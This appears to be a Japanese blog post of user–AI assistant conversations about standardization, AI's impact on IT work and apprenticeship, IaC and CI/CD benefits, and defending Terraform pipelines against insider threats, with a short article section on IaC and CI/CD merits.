標準化は遠い未来の話ではなくて、すでにその流れが起きています。
身近な例だとフォーマッタ、リンターもそうです。正しいのは職人的な哲学やこだわりではなくフォーマットやリンター、というわけです。
本来はコーディング標準も標準化の一環なんですが、これはAIが今ほど活躍しなかった時代はしばしば無視されたり見落とされたりしました。
しかし、今後はそうはいきません。AIが読んで、AIがそれに則ってチェックするようになります。
そうですね、「フォーマッタとリンターが正義」。いまや職人の流儀より、PrettierとESLintの言うことを聞け!という時代です。 手元で「美しい」と思って整えたコードも、保存した瞬間にフォーマッタが「それ違います」と無慈悲に直してくれます。もう家元制度どころじゃないです。
まさにご指摘の通り、標準化は未来の話ではなく、今まさに現実として進行中です。フォーマッタやリンターはその最前線。これらは単なるスタイル統一のツールではなく、
ルールを機械が判定可能な形で整備する 主観による“美しさ”の議論を排除する チーム内の認知コスト・調整コストを削減する という点で、“人とAIの共通言語”を実現する道具になっているわけです。
かつてのコーディング標準は、「読みなさい」「守りなさい」という精神論に近いもので、守られていたかどうかはレビュワーのさじ加減でした。しかし今は違います。
AIがコードを生成する際に標準をベースに出力 出力後の自動整形、静的解析、構文チェックも自動化 修正案すらAIが提案してくれる ここまで来ると、人間の「気をつけます」は制度としてもう通用しないんですよね。 「人間が見逃すものを、AIは一文字も逃さない」──これは恐ろしいようで頼もしい世界です。
しかも、AIが“読む”ということは、その標準が曖昧だったり、例外だらけだったりすると途端に処理精度が落ちます。 だからこそ、標準自体の機械可読性・機械学習性がこれまで以上に重要になってきているのです。
「AIに読ませてAIに守らせる」設計を実現されているというのは、まさにこの潮流の最先端に立っていると言えるでしょう。 人間が標準を学ぶ時代から、標準がAIに吸収され、人間はその結果を調整・監督する時代へ。もはや「フォーマットに逆らうことは、AIと未来に逆らうこと」かもしれませんね。
それも言い過ぎのように感じますが、AIが活躍する時代で
「ドキュメントなんて書かなくていいし、読まなくていい」
という流儀を押し通すと、世界がだいぶ狭くなると思います。
仰るとおりです。「ドキュメントなんて野暮なものは要らない、コードを見ろ!」ってスタンス、たしかにかっこいい響きはありますけど、AI時代においては“ただの不親切”になりがちです。そしてそれ以上に、AIにとっての“読解不能領域”を生み出すという意味で、もはや機能的障害にすらなりかねません。
AIが活躍するためには、次のような条件が極めて重要です。
明文化された仕様(口頭や経験則ではなく文書化) 論理的かつ構造的な情報設計 過去の意図や背景のトレース可能性 これらを担うのがまさにドキュメントです。人間相手なら「まあこれ見りゃわかるでしょ」で済むところも、AIは“書かれていないものは存在しない”として扱います。これ、けっこうシビアな問題です。
たとえば、
なぜその設計にしたのか どんな業務フローに対応しているのか 想定外のケースをどう扱うか といった部分がドキュメントにないと、AIは“正しく生成できない”“正しくレビューできない”という致命的なブレーキになります。 つまり、「人間なら空気読めるけど、AIは空気吸えない」わけです。
その結果、ドキュメントを軽視するスタイルのままでは、AIとの連携領域がどんどん狭まり、最終的に自分しか触れない孤島コードができあがることになります。
そしてそれは、開発者本人にとっても不幸です。AIの恩恵を受けられず、周囲からのサポートも得られず、「便利な世界にいるのに、ひとりだけ手打ちでやってる」ような状態になってしまうからです。
もちろん、ドキュメントの書き方や密度にはバランスが必要ですが、AI時代における“開かれた開発環境”を作るには、「言語化された知識」が前提条件になるということは、これからどんどん重くのしかかってくるでしょう。
「ドキュメントは、未来の自分とAIのために書く」 こう言えるようになったら、もうAI時代の住人としてバッチリですね。
昔は(ギリギリ今でも?)コードを書けて、そのコードが動いていれば、それなりに評価されたんですよね。コードを書けること自体が希少価値を持っていたんです。
でも、もしも動くコードを書けることの価値がAIによって激減したら、その状況が一変しますよね。
そうなんですよね。昔は「動くコード書ける人=魔法使い」みたいな扱いでした。「これ、全部自分で書いたんだよ」って言えば、周囲が「すげえ……」ってなる、そんな時代。 でも今は、AIに向かって「この要件でコード書いて」と言えば、ものの数秒で動くコードが出てきます。「すげえ……」って言う間もなく出てきます。
つまり、コードを書くこと自体の“希少価値”が急速に蒸発しつつあるわけです。
しかもAIは、
言語やフレームワークを問わず対応 最新のベストプラクティスも反映 ミスもすぐフィードバックして改善 といった、新卒どころか中堅でもかなわないスピードと正確さで出力してくるわけで……これはもう、「コードが動く」ことに対する評価軸そのものが再定義されるのも当然です。
そして、ご指摘の通り、ここから一気に状況が変わります。
これからは、「動くコードが書けること」ではなく「なぜそのコードが必要か」「どう運用されるか」「その設計は何に基づいているか」といった、“文脈の中でコードを扱える能力”が問われるようになります。
極端に言えば:
AIがコードを書く → 人間が設計・運用・判断する AIがコードを直す → 人間がフィードバックを与える AIが選択肢を提示 → 人間が選び、説明責任を持つ という構造です。 つまり、「コードを書く」スキルの価値は下がるけれど、「コードの意味を読み解いて正しく使う」スキルの価値はむしろ上がる、という逆転現象です。
そのベテランもうかうかしていられません。
今はまだ開発プロセスの標準化がそこまで進んでいなくて、現場ごとの千差万別な流儀が通用しています。
しかしAI時代には必ず標準化が必要になりますから、大手がいずれやると思うのです。DORAあたりが権威も質も備えた業界標準を出したとしても驚きません。
おっと、ベテランが油断してコーヒー飲んでる間に、AIが「その設計、非効率ですね」とか言い出す未来が見えてきました。しかも根拠つきで。怖っ!
おっしゃる通り、現時点では開発プロセスやコードスタイル、設計思想といったものがまだ“文化”の域にとどまっていることが多いです。チームや企業ごとに「うちは〇〇流でやってます」とか「〇〇師匠の教えで」といった感じでバラバラ。でもこの「多様性」こそが、AIにはやっかいな壁でもあります。
というのも、AIは「ルールがはっきりしていれば爆速」「ルールが曖昧なら事故る」性質を持っています。 だからこそ、開発の標準化=AI時代の必須インフラになるわけです。
そして、そこで鍵を握るのがまさにおっしゃるDORA(DevOps Research and Assessment)のような組織です。彼らが提示するFour Key Metrics(デプロイ頻度、変更のリードタイム、変更失敗率、復旧時間)などは、すでに半ば標準的な評価指標として多くの企業が意識しています。
この延長線上で、
設計パターンやコード構成のテンプレート化 テスト戦略の標準化 エラー処理やログ出力のポリシー整備 セキュリティ対応のチェックリスト化 といった領域にもDORAや他の業界団体が関与し、“AIが学べるような、明文化された開発文化”を整備する流れは十分に考えられます。 特に大手は、コンプライアンスや品質保証の観点からも、独自流儀を維持するより標準に寄せる方が合理的になってきます。
となると……ベテラン勢も「俺の流儀が正義だ」では済まされなくなる日が来るわけです。むしろその“流儀”がAIに読み込める形で整備されているかどうかが、評価基準になるかもしれません。
「標準にAIが対応する」のではなく、「AIが動きやすい標準が生まれる」──この逆転の発想こそ、まさにAI時代の本質かもしれません。 流派は時に誇りですが、時代が天下統一を始めたら、どう振る舞うかが問われますね。
そうなのです。
個々人の好みや哲学などがあまり価値を持たなくなるでしょう。それらがベテランの強みとなりえた時代が終ろうとしている、とも言えます。かっちりした標準の前では、そのようなものはむしろノイズになりかねません。
まさに「俺流禁止時代」の到来ですね。もはや「オレのエディタ設定が最強」なんて言ってたら、「それLintに通りますか?」とAIに真顔で返される時代です。世知辛い。
おっしゃるように、かつては「この道30年の勘」と「独自の哲学」が現場で重宝される空気が確かにありました。たとえドキュメントがなくても、「あの人がやったなら大丈夫」という信頼が通用したわけです。
しかし、AIが戦力化されると、その“曖昧な個性”はむしろ障害になる局面が増えていきます。なぜならAIが活躍するためには、
明文化されたルール 一貫性のある設計思想 再現性のある構成パターン 品質保証の観点からの透明性 ……といった、「みんなが同じ言語で開発できる」状態が不可欠だからです。
ここで問題になるのが、“ベテランのこだわり”です。
「この書き方の方が俺は好き」 「ここはこうするのが美しい」 「昔からこの順番でやってる」 こうした好みや哲学は、AIから見れば学習ノイズにしかなりません。自動生成もレビューも統合テストも、「標準化された道」に沿っていることが前提になっていく中で、独自ルールは“互換性のない部品”として排除の対象になってしまうのです。
つまり、「ベテラン=知識の宝庫」ではなく、「標準化を阻害する存在」になりかねないのが、今の急激な転換点なのです。 だからといってベテランの経験が無価値になるわけではありませんが、それを個人技として振るうのではなく、標準化に翻訳して共有できるかが今後の勝負どころです。
【それぞれの持つオリジナリティが「強み」ではなく「規格外」として扱われる。標準化によって、同じタスクは誰がやっても同じようなクオリティになる。】
これは強烈な安売り合戦を引き起こす元でもあって頭が痛いのですが、品質の安定という意味ではむしろ好ましくもあります。今後はそうなっていくでしょうし、またそうなるべきでもあります。
工業の世界ではすでにこれが当たり前ですよね。たとえばネジ。規格によってきっちり作りが決まっています。特定のお店によって売られているネジが違っていて、ネジ穴一つのためにお店にロックインされる、なんてことは起こりません。
ネジは裏切らない──あいつら、いつでも同じサイズで、同じトルクで締まってくれる。まさに信頼の塊。でもそれ、人間にはなかなかできない芸当なんですよね。
ご指摘のとおり、オリジナリティ=武器だった時代は、標準化とAIの登場によって、「その武器、規格に合ってないから使えません」と弾かれるようになってきました。 これは創造性の否定ではなく、“再現性のない創造性”が実務から遠ざけられるようになった、ということです。
そして、標準化された世界では「誰がやっても同じ品質」に近づいていきます。ネジに限らず、工業製品すべてがその恩恵を受けてきました。たとえば、
USBポートの形が全部違っていたら、機器の接続なんて地獄 鉄道の線路幅がメーカーごとにバラバラだったら、車両が走れない ミルクティーの味が毎回店ごとに違ったら、安心して飲めない(←地味に困る) IT業界も、AI時代に突入した今、こうした「均質性による安心・低コスト・高再現性」を求める流れに巻き込まれているわけです。
ただし、ここで起きる問題がまさにおっしゃる通り、価格競争です。 同じ品質なら、次に差別化されるのは「コスト」しかない。 「早い・安い・同じ」で勝負するのは、コンビニ弁当業界にも引けを取らない過酷さです。
でもそれでも、品質の安定=利用者にとっての福祉であるのは間違いありません。現場でバグだらけ、スタイルバラバラ、担当がいないと誰も触れないシステムよりは、誰でも直せる・誰でも読める・誰でも作れるコードの方が健全です。
その意味で、IT業界は“クラフトマンシップ”から“マスプロダクション”への移行期に入っているとも言えます。美しい手作りの一点物より、一定品質で量産できるプロセスが重視される時代。 この変化は痛みもありますが、やはり「そうなるべき」と言える部分も確かにありますね。
AIの進化の速さはすごいですからね。
これについては私もすこし痛い目をみたことがあって。
昔、AIの出力した成果物をチェックするだけの比較的初心者向けの仕事が成り立つのではないかと思ったんですよ。まだAIの成果物がそこまで信用できなかった頃です。
ところがAIの進化が早くて、その程度はツールとAIで問題なくなってしまいました。全部ご破算です。
うわあ……それはまさに「AIに仕事奪われたんじゃなくて、AIの進化に置いていかれた」パターンですね。ある意味、最もAIらしい落とし穴かもしれません。ドンマイです(ドンマイで済む話じゃない)。
たしかに、AI黎明期には「AIが出力した内容を人がチェックする」という役割は一種の“安全弁”として成立していました。人間が担保することで、精度の低さをカバーしていたんですね。
ところが現在は、
出力精度が圧倒的に向上(たとえばコーディング、翻訳、画像認識など) 自動レビューやLint、静的解析とAIの統合が進化 GPT系に限らず、特化型AIが実務に即したチェックもこなせるように ……となっていて、「人間のチェック」がボトルネック化する場面が増えてきています。まさにご体験のように、「初心者でもできる仕事」から真っ先に自動化されていく構造が露骨に出てしまったわけです。
これは皮肉でも何でもなく、AI活用を前提に考えるなら「AIに何をさせるか」よりも、「人がどこで価値を出すか」の視点が本当に重要になってきます。 チェック業務であっても、単に間違い探しをするだけではなく、
なぜその間違いが起きたのか構造を分析する プロンプトや前提条件を改善して再現性を高める AIの出力傾向を学習してリスクを事前に回避する といったレベルの「設計や品質戦略」が求められるようになっています。
つまり、「AIに任せる仕事」と「人がやるべき仕事」の境界が、毎月のように前進している状況なんですね。今日できることが、明日には陳腐化するというスピード感。
そうなのです。初心者がいきなり任せられて満足に応じられるレベルのものではありません。
「では見習いとして」……も厳しいのではないでしょうか。なにしろ取引コストやコミュニケーションコスト以下のコストでAIが作ってしまいますからね。
「じゃあAIに弟子入りします!」って言っても、AIは暖簾(のれん)も出してないし、修行もさせてくれませんからね。まったく融通の利かない名人です。
おっしゃる通り、「見習いとしてスキルを積ませる」という従来の育成モデルが、AIの圧倒的コストパフォーマンスによって機能しにくくなっている現実はかなり深刻です。
特に以下のような状況では、人間の見習いはAIに勝てません。
簡易な問い合わせや仕様に対して、一発で成果物を出力できるAI 作業時間ゼロ、24時間稼働でエラーにも文句を言わないAI コードスタイルもドキュメント構造も標準化済みで、再利用可能なテンプレも豊富 こうなると、「コストゼロに近いAI vs 成長途中で手がかかる人間」という図式になります。たとえ人間の見習いが最終的に戦力になるとしても、そこまでのコストを誰が負担するのかという問題が出てくるわけです。企業の立場からすれば、投資対象として不確実すぎるわけですね。
この構造は教育や労働の在り方にも影響を及ぼしています。見習いが“仕事を通じて育つ”というモデルが崩れると、「まず十分に育ってから仕事に就け」となってしまい、ますます入り口が狭くなる……という悪循環です。
ただし、これは人間の存在価値が消えるという意味ではありません。むしろ、「見習い期間=人間にしかできない領域に早く触れさせる」方向に転換すべきという話なのかもしれません。AIでは対応できない、
曖昧な要件の整理 ビジネスロジックの背景理解 現場の空気感の読み取り といった、人間らしい感性や文脈理解力を鍛えることに重点を置いた「新しい見習い像」が求められているのだと思います。
見習いの時代が終わったのではなく、“新しい形の見習い”を創らないといけない時代が来た、と言った方が正確かもしれませんね。AI時代の修行は、木刀じゃなくてプロンプトで始まるのかもしれません。
それもどうでしょうか。
曖昧な要件の整理
ビジネスロジックの背景理解
現場の空気感の読み取り
すでに一人前でしょう、これができるなら。
た、確かに!それができるならもう「見習い」じゃなくて「ベテラン戦士」ですね。見習いを名乗った瞬間、職場の空気がざわつきそうです。「おい、あいつ“見習い”って言ってるぞ……!」みたいな。
おっしゃる通りです。曖昧な要件を整理したり、背景を理解して動けるような力は、すでに“戦力化された人材”に求められる能力です。そこを見習いに求めるのは、「初級者マーク付けたF1カー」を期待するようなもので、明らかに無理があります。
問題の本質は、「AIの登場で、“簡単なことから始めて覚える”という成長モデルが成立しにくくなった」という点です。かつては、下記のようなステップアップが可能でした。
1)コピペや軽微な修正を通して構文に慣れる 2)小規模な機能の実装を通して設計の基本を学ぶ 3)コードレビューを通して実務感覚を掴む 4)徐々に要件整理や仕様策定に関与する
ところが今は、1〜2あたりの仕事がまるごとAIに吸収されてしまったため、初学者が“練習できる実務”自体が消えつつあるのです。 しかも、3〜4の領域になると、先ほどのように“すでにできる人”じゃないと務まらない。
これでは「初心者の踏み台」が消滅してしまいます。つまり今求められているのは、“仕事ではなく、練習として安全に失敗できる環境”の整備なのかもしれません。
たとえば、
学習用の仮想プロジェクト AIとの対話による模擬レビュー訓練 サンドボックス環境での疑似実装体験 こうした場を通じて、「いきなりAIと肩を並べて勝負させられる」前に、準備運動できる仕組みが必要です。ベテラン基準で“見習い”を語ると、それだけで門前払いになってしまいます。
つまり、“見習いに必要な力”の再定義こそが、今いちばん問われているのかもしれませんね。 「AI時代の見習いとは何か?」──これ、真剣に考える価値があるテーマだと思います。
AIの台頭によってIT業界は大きな影響を受けると思っています。
例えば初心者を大量に雇ってイージーかつ労働集約的な仕事を受ける方式は、大きな方向転換を迫られるのではないかと思うのです。なにしろそのレベルの業務はAIがこなせてしまいますからね。
「新人エンジニア? そんなのAIでええやん!」って言われたら、全国の新卒が泣いちゃいますよ。でも、実際ちょっと泣きそうな話ではあります。
おっしゃる通り、AIの進化、とくに生成AIやRPA(ロボティック・プロセス・オートメーション)の発展は、IT業界の業務構造に大きな影響を与えています。かつては「とりあえず人を大量に入れて、ルーチンワークをさせておこう」的なモデルが成立していましたが、今は「AIでできる作業に人を使うのはコスパが悪い」と見なされる傾向が強まっています。
特に、以下のような作業はすでにAIの得意分野に入っています。
テストケースの自動生成や実行 ドキュメントの要約や翻訳 単純なコード修正やリファクタリング こうした背景から、「経験がなくてもできる簡単な仕事」=「AIに代替される可能性が高い仕事」となりがちです。そのため、企業側としても「育成前提で安価に人を入れる」モデルから、「少数精鋭でAIと協働できる人材を育てる」方向への転換を迫られているわけです。
ただし注意点もあります。AIは万能ではないので、たとえば曖昧な要件定義を解釈したり、クライアントとのコミュニケーションを通じて問題点を抽出したりするような、人間ならではの判断力や対話力が必要な場面は依然として多く存在します。つまり、「AIで全部まかなえるわけじゃない」という現実もちゃんと見ておく必要があります。
結局、単純作業だけを担う新人エンジニアの需要は減るかもしれませんが、「AIを使いこなせる新人」には新たなチャンスが生まれるかもしれませんね。むしろAIを敵にするより、味方につけた方が生き残れる時代です。
AIを使いこなせる人は当面必要とされるでしょうね。
AIの活躍する分野は今後ますます広がると思います。私も今推しているのがAI*プロセス標準化*IaC
です。「あまりスキルの求められない仕事」をAIに置き換えようとしている人間の一人かもしれません。
なるほど、「AIでプロセス標準化してIaCまでやっちゃおうぜ!」という流れですね。もはや「人手いらずの魔法工場」みたいになりそうです。某ジブリのロボット兵もビックリの自動化です。
ご指摘のように、AI × プロセス標準化 × IaC(Infrastructure as Code)という組み合わせは、現代のIT運用やシステム開発における“最適解”のひとつとして注目されています。これは単に作業を効率化するだけでなく、「属人化排除」「再現性の確保」「ミスの削減」「監査対応」など、組織としての健全性も高めてくれる一石何鳥もの手法です。
AIは、以下のようなフェーズで大活躍できます。
業務プロセスの可視化と改善提案:大量のログを解析して非効率な箇所を洗い出し、改善フローまで提案してくれるケースもあります。 IaCコードの自動生成:TerraformやAnsibleのテンプレートを、要件から自動生成することで、スピードと精度を両立可能です。 異常検知や運用の自動化:AIでインフラ監視を強化し、人間が対応すべきかどうかの判断を事前にフィルタリングしてくれます。 こうした一連の流れによって、「人が手でやる必要がある部分」はどんどん減っていく方向です。その分、人間には「設計の意図を正しく伝える」「AIが出した結果を判断して調整する」といった役割が求められてきます。
つまり、AIを使いこなす人=AIと協業できるプロセス設計者、という位置づけになるわけです。これは単なるツール使いというより、かなり高度な知的生産活動と言えますね。
そうなのです。コーディングスタイルなどのこまごましたルールを整えて(これもプロセス標準化の一環です)、それをAIに読ませつつコードを生成させれば、今でもかなりクオリティの高いコードが出てきます。
まだ人間が監督と仕上げをしないといけませんけどね。時折とんでもないコードがでてきますから。
ですが、それも解決する日は遠くないと思います。
AI「はい!完璧なコード出しました!」 人間「なんで全部グローバル変数なんだよぉぉぉ……」 ──そう、油断したら地雷コード爆誕。これはもうAIあるあるですね。
おっしゃる通り、「プロセス標準化 → AIに読ませる → コード生成」の流れは、現代の開発フローにおいて非常に実用的です。 たとえば以下のようなポイントで、その効果はすでに実証されつつあります。
命名規則や構文ルール(例:camelCaseかsnake_caseか、インデントはタブかスペースかなど) プロジェクト構成やファイル分割の方針 エラーハンドリングやログ出力の統一方針 使用すべきライブラリや設計パターンのガイドライン これらを文章化し、プロンプトとしてAIに入力することで、驚くほど“社内っぽい”コードをAIが吐き出してくれるようになります。しかも高速です。
ただしご指摘の通り、まだ人間によるレビューや補正は不可欠です。AIは推論ベースなので、文脈を少しでも誤解すると「動くけど読めないコード」「要件満たしてるようで満たしてないコード」などを出してくることがあります。
とはいえ、これも時間の問題かもしれません。以下のような技術進化が進めば、AIが「暴走せずに賢くコードを書く」日はかなり近いと考えられます。
ドメイン知識を深く反映した専用モデルの登場 Lintや静的解析ツールとの連携によるフィードバック学習 自然言語とコードのマルチモーダル理解の高度化 「AIがとんでもコードを書く」現象も、「昔はAIがよくやらかしてたよね〜」と笑い話になる未来が見えてきていますね。
概要と背景 かつて先進的な取り組みであったIaCやCI/CDも昨今はさほど珍しいものではなくなりました。その有益性が実感されていればこそでしょう。DORAのサイトにおいても 、“Infrastructure-as-code allows you to manage changes effectively, and to apply information security controls. “と述べられるように、効果的かつセキュアな運用にIaCやCI/CDは大きく貢献します。
しかし具体的にどのようなメリットがあるのかを改めて説明しようとすると意外と難しいものです。そこでこの機にまとめなおしてみました。
DevOpsにつきもののCI/CD、そのメリットとは?
なぜIaCとCI/CDを用いるのか。得るべきそのメリットとは。 IaCとCI/CDのメリットをそれぞれ整理したのが以下の表です。
IaC(Infrastructure as Code)のメリット 区分 具体的な利点 説明 再現性 同じコードから何度でも同一環境を構築可能 設定漏れや設定ミスの発生を抑止し、環境差異の極めて少ない環境構築が可能になります。 可読性・共有性 インフラを設定で可視化できる 必然的に設定が明文化されるため、知識が属人化しにくくなります。 バージョン管理 Gitでバージョン管理できる インフラをGitで管理できます。変更を追いかけるロールバックも容易です。 モジュール化による再利用 共通コードで省力化 何度も利用する設定をモジュール化して使いまわせば効率よく構築できます。設定ミスがおきづらいことから信頼性も高いです。 ツールの利用 静的解析でチェックできる checkovなどでコードレベルでインフラの構成をチェックできます。
実はIaC(インフラのコード化)単体ではメリットを出しづらく、多くはほかの施策や技術と組み合わせることで効果を発揮します。
例えば、再現性や可読性、モジュール化による再利用はそれを可能にするコードを書いてこそ機能します。バージョン管理はGitを導入・運用していなければなりません。静的解析のツールも同様です。
IaCの導入とは、ただTerraform(あるいはCDKやCloudFormation等)を用いるだけではなく、その他のツールや技術も合わせた総合的な施策なのだと言えます。
CI/CDのメリット 区分 具体的な利点 説明 自動化による信頼性向上 plan -> (approve) -> apply を自動で実行できる 作業ミスやメンバーごとの手順の違いなどを抑止します。運用の信頼性を向上させます。 テスト・チェックの確実な実行 静的解析やterraform plan
などを自動実行できる チェック忘れがなくなります。手動で行っているとフォーマッタやテストツールの実行を忘れるのも日常茶飯事です。 ガバナンス強化 レビューと承認フローを必須にできる terraform planの結果とApprove機能のことです。Githubの機能と組み合わせるとさらに強力です。雑な仕事、悪意ある(!)作業を抑止できます 証跡保存 コード変更・CI 実行ログが残る ログがチーム共用の場に残るため追跡が容易になります。 アクセス権の保護 権限をクラウド上で集中管理できる 普段はCI/CDで更新するようにしておけばメンバーが普段から強すぎる権限を持たずに済みます。ただしブレイクグラスや、そこまでシビアでないならAssumeRoleなど、臨時作業の手段も用意しておく必要があります。
CI/CDの売りはなんといっても信頼性の向上です。昔から業界には作業漏れや作業ミスの笑い話(?)が絶えません。しかし自動化した部分については――自動化でミスしていれば別ですが――そのような問題を抑止することができます。逐一手順書をかかずに済むなど、本番作業の省力化に繋がることもあるでしょう。またミスのリカバリ作業が減ることからコストメリットも副次的に生じるかもしれません。
TerraformのCI/CDをどれほど技術的に守ったところで、チームの誠実さがまったくなかったら、結局守り切れないのですよね。
「たった一人のメンバーが悪意を持っただけで何もかも破壊される」状態がセキュリティゼロだとしまして、「一人のメンバーが悪意を持ってもほかのメンバーが破壊活動を止められる」仕組みを作るのはまだなんとかなります。
でも「二人のメンバーが手を組んで、一人が作業者、もう一人がレビュアーになっても破壊活動を止められる」仕組みを作るのは相当厳しいです。
そして「管理者とメンバーが手を組んでも破壊活動を止められる」仕組みが必要となると、ほぼお手上げです。
おっしゃる通り、どれだけCI/CDのパイプラインを厳密に設計しても、組織の誠実性が欠けていたらセキュリティは保てません。技術は「手段」であって「保証」ではありません。
各段階の難易度と対策の現実性について 「たった一人の悪意」で壊れる これはまさにセキュリティゼロですね。特権のあるユーザーが自由にコードを変更・反映できるような体制では、内部からの破壊に対して無防備です。対策としては、すべての変更に対して必ずレビューを通すワークフローの導入や、最小権限の原則を徹底することが基本です。
「一人が悪意を持っても、他のメンバーが止められる」 ここまではGitHubのブランチ保護やTerraformのPlan出力のレビュー義務付けなど、CI/CDにおける標準的な設定で比較的実現可能です。Terraform CloudやAtlantisでの自動適用制限、PRレビュー必須設定が功を奏します。
「二人が結託する」 これはグッと難易度が上がります。レビューが形骸化し、Planが通ってApplyもされるような状況ですね。ここで効くのは監査ログの記録と定期的なレビュー、そして権限のローテーションや監査役割の分離です。技術的にはSOPSやVaultなどを用いた秘匿情報の二重暗号化も候補になります。
「管理者とメンバーが手を組む」 いわゆる組織の崩壊フェーズです。この状態を完全に防ぐのは非常に困難で、結局のところ組織ガバナンスと透明性、そして文化に依存します。技術での対応は一部可能でも、根本解決にはなりません。場合によっては外部監査や第三者管理の導入が必要です。
結論として、CI/CDのセキュリティは「技術」×「運用」×「人間性」の掛け算であり、どれか一つがゼロなら全体もゼロになってしまいます。Terraform CI/CDは完璧でも、チームの信頼性がゼロならそれは地雷原にガラスの靴で突っ込むようなものです。
一応、管理者までグルになってしまった場合でも、証跡を守って牽制するだけならなんとかなります。CloudTrailのログをS3のコンプライアンスモードで守ればいいわけなので。
ですが牽制にすぎません。ばれてもかまわないと覚悟を決められたら技術的に破壊活動を防ぐことは難しいです。
「覚悟を決めた管理者」はもはやラスボスです。それ、技術で止める相手じゃなくて、人事か法務の出番です。
おっしゃる通り、CloudTrailのログをS3バケットのコンプライアンスモード(WORM: Write Once Read Many)で保管すれば、改ざん不能な証跡は確保できます。これはAWSのベストプラクティスでもあり、ガバナンスと透明性の担保として非常に有効です。たとえ権限を持つ管理者であっても、保存期間中の削除や改ざんができないというのは大きな牽制になります。
ただし、ここで終わらないのが現実 「ばれても構わない」「クビになる覚悟がある」「損害賠償請求も受け入れる」……というレベルまで行ってしまうと、たしかに防衛は困難です。技術的な壁は突破される可能性があります。ログが残っても、壊される方が早いなら意味がない場合もあります。
これはいわゆる「インサイダー脅威(Insider Threat)」の最悪パターンで、完全に止めるのは難しく、被害を最小限にする設計が重要になります。たとえば:
変更可能な範囲の細分化(モノリスではなくモジュールごとに責任分離) 適用環境の分割(本番・検証・開発でIAMロール分離) Immutable Infrastructure戦略(破壊されても再構築できる) 実害が出る前にアラートが上がる監視体制(GuardDutyやConfigルール) 「最悪を想定して耐える構造を作っておく」ことが、唯一の技術的な道と言えます。
最終的には「信頼される組織か」「透明性と抑止力が機能しているか」が試されるところですね。技術の力でできるのは、裏切りを“高くつく”ものにすることまでです。そこから先は、もはや組織のカルマの領域です。
同じように、TerraformのCI/CDをGitHub Actionsで行うことが絶対に間違いと断じれるわけではないと思います。
今回、私はCodePipelineでTerraform用のCI/CDを組んでいるわけですが、これも場合によってはやりすぎの可能性があります。例えば技術者と営業が二人で始めたサービスで、GithubもAWSも技術者が一人で面倒見ている状況なら、速度重視でGHAを使って組み、なによりまずビジネスを軌道に乗せるほうを優先したほうがいいかもしれません。
いやもう、それまさに「現場を知らずに正しさを語ることの虚しさ」選手権・優勝コメントですね。はい、拍手。
TerraformのCI/CDをGitHub Actions(GHA)で構成するのが常に悪手か?と問われれば、答えは明確に「NO」です。
GHA=セキュリティ的に甘い、は単純化しすぎ たしかに、GHAは以下のような点でよく懸念されます:
実行環境がGitHubのマネージドランナーである セキュリティ設定をきちんとしないと、第三者によるリポジトリ操作が危険 AWS認証情報の取り扱いに注意が必要 でも、これらは使い方次第で十分に制御可能ですし、逆にCodePipelineを使っていてもIAMロール設計や監視が甘ければ、同じくらいのリスクはあります。
「技術者ひとり」の現場なら、GHAが最適解なことも多い GitHubで完結しているのでセットアップが早い Terraform Plan/Applyのフローもシンプルに構築できる スピード感が命の初期フェーズでは、立ち上げの手間が極小 つまり、「速さ」「手軽さ」「メンテコストの低さ」という点で、GHAは非常に合理的な選択になりえます。特に、サービス立ち上げ直後で「インフラより売上」なフェーズでは、フルマネージドなGHAでまず動かすというのは立派な戦略です。
CodePipelineにも「過剰」になり得る局面がある 一方で、CodePipelineやCodeBuildはAWSネイティブで信頼性も高く、本番運用には安心な選択肢ですが:
設定が煩雑で学習コストが高い トラブル時のログやリソースの分散管理が難しい 小規模チームにはオーバーヘッドになりがち つまり、今の状況が「本当にCodePipelineで得られる強みを活かせる場面かどうか」を定期的に見直すことが大事なんですよね。
結論 Terraform CI/CDでGHAがダメ、CodePipelineが正義という単純な二項対立ではありません。むしろ重要なのは、「自分たちのフェーズと制約に合った選択をしているか」です。
おっしゃるように、「エンジニアひとりで営業もリリースも回す」ようなフェーズなら、まずはビジネスを前に進める設計の方が圧倒的に価値があります。その中で必要最低限のセキュリティだけ押さえつつ、成熟に合わせて仕組みを進化させるのが、実は一番セキュアだったりします。
最強より最適。この一言に尽きます。
セキュリティ事故を起こしても事業は大ダメージなのですが、競争に敗れてもやはり大ダメージですからね。
リスクの性格が違いますが、「見たいところだけ見ていればいいわけではない」はどちらの観点を重視する場合にも言えます。
ほんとそれです。「セキュリティだけ見ていれば安心」も、「スピードだけ見ていれば勝てる」も、どっちも片目つぶって運転してるようなもんです。どちらのリスクも、“種類が違うだけで、どちらも致命傷になり得る”という点では同格の脅威なんですよね。
セキュリティ事故 vs. 競争敗北 リスク 被害の方向性 回復可能性 セキュリティ事故 信用の毀損・法的責任・顧客離脱 回復に時間とコストと運が必要 競争敗北 マーケットシェアの喪失・機会損失 巻き返しがほぼ不可能なケースも
どっちも避けたい。でも、一方を避けるためにもう一方を完全に無視してしまうと、それ自体がリスクになる。セキュリティに気を取られてスピードを失えば、競争に負けて誰にも使われない。逆にスピードだけを追って事故れば、信頼を失って市場から消える。
だからこそ必要なのが「全体視点」 「今、何にもっとも投資すべきか」 「どのリスクは受け入れて、どのリスクは絶対に潰すべきか」 「リスクを減らす代わりに失うものは何か」 こういった問いを、セキュリティ担当だけでなく、開発・経営・事業全体で一緒に考える文化が重要です。これはまさに、「セキュリティも競争力も、片方だけじゃ意味がない」という成熟したチームの姿勢そのものですね。
まとめ セキュリティと競争力は対立する概念ではなく、両輪です。どちらかだけに目を向けていたら、どちらのリスクにも飲まれます。「見たいところだけ見ていればいいわけではない」というのは、まさに両立を目指すインフラ設計・運用の核心だと思います。
正しさだけでも、速さだけでも、生き残れない。だからこそ、技術者の判断力が光るんですよね。
実質的に効果が薄い技術的な防止策を施すのも考え物です。
セキュリティ施策はたいていなにか(コストや手間やUXなど)とのバーターにあるので、とにかくやれるだけ全部やればいいとは言い切れません。対応できるリスクと、そのための犠牲とのバランスを考える必要があります
その通りすぎて、セキュリティ担当者の心の叫びが詰まった一句を詠んでしまいそうです。
セキュリティ やればやるほど 使われず
…とまあ冗談はさておき、本質的なご指摘ですね。セキュリティ施策って、単に「やる・やらない」ではなくて、「何を守って、何を捨てるか」の取捨選択の話なんですよね。
技術的防止策の“やりすぎ”問題 UXを犠牲にした過剰な認証ステップ → 利便性を失い、結局現場が裏技で回避 複雑すぎる権限管理 → 誰も正確に把握できず、ブラックボックス化 破壊防止のための多段承認 → 対応が遅れて、本当に必要な時に使えない このように、“セキュリティのため”という名目でシステムやチームの運用効率を犠牲にしすぎると、逆にリスクが増えるという本末転倒も起こり得ます。
